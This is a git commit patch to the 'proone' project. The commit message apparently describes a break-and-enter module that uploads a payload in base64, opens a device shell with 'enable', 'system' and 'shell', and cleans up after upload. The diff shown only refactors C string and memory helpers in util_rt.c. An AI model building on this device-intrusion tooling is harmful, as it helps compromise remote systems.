From ddfdc8fe7dfbc0c496dc85c611df26fdc696af09 Mon Sep 17 00:00:00 2001 From: David Timber Date: Tue, 22 Sep 2020 01:41:07 +0930 Subject: * Impl bne * Add base64 upload method * Remove pollin_f() * Caller should terminate cmdline * Newline style detection for \r\n, \r\0, \r or \n * Issue "enable", "system" and "shell" on set up * * Rename prne_strnstr() -> prne_memmem() * Added prne_rebuild_str() for efficiency * Daemonise proone so that bne can clean up after upload --- src/util_rt.c | 26 +++++++++++++++----------- 1 file changed, 15 insertions(+), 11 deletions(-) (limited to 'src/util_rt.c') diff --git a/src/util_rt.c b/src/util_rt.c index 11fb9f0..a3829b2 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -221,19 +221,22 @@ void prne_transstr (char *str, int(*trans_f)(int)) { } } -char *prne_strnstr ( - const char *haystack, - size_t hs_len, - const char *const needle, +void *prne_memmem ( + const void *in_haystack, + const size_t in_hs_len, + const void *const needle, const size_t n_len) { + const uint8_t *haystack = (const uint8_t *)in_haystack; + size_t hs_len = in_hs_len; + if (n_len == 0) { return NULL; } while (hs_len >= n_len) { - if (*haystack == *needle && memcmp(haystack, needle, n_len) == 0) { - return (char*)haystack; + if (memcmp(haystack, needle, n_len) == 0) { + return (void*)haystack; } haystack += 1; hs_len -= 1; @@ -242,10 +245,11 @@ char *prne_strnstr ( return NULL; } -char *prne_build_str ( - const char **const arr, - const size_t cnt) -{ +char *prne_build_str (const char **const arr, const size_t cnt) { + return prne_rebuild_str(NULL, arr, cnt); +} + +char *prne_rebuild_str (void *prev, const char **const arr, const size_t cnt) { char *ret, *p; size_t len; @@ -253,7 +257,7 @@ char *prne_build_str ( for (size_t i = 0; i < cnt; i += 1) { len += prne_nstrlen(arr[i]); } - ret = prne_alloc_str(len); + ret = prne_realloc(prev, 1, len + 1); if (ret == NULL) { return NULL; } -- cgit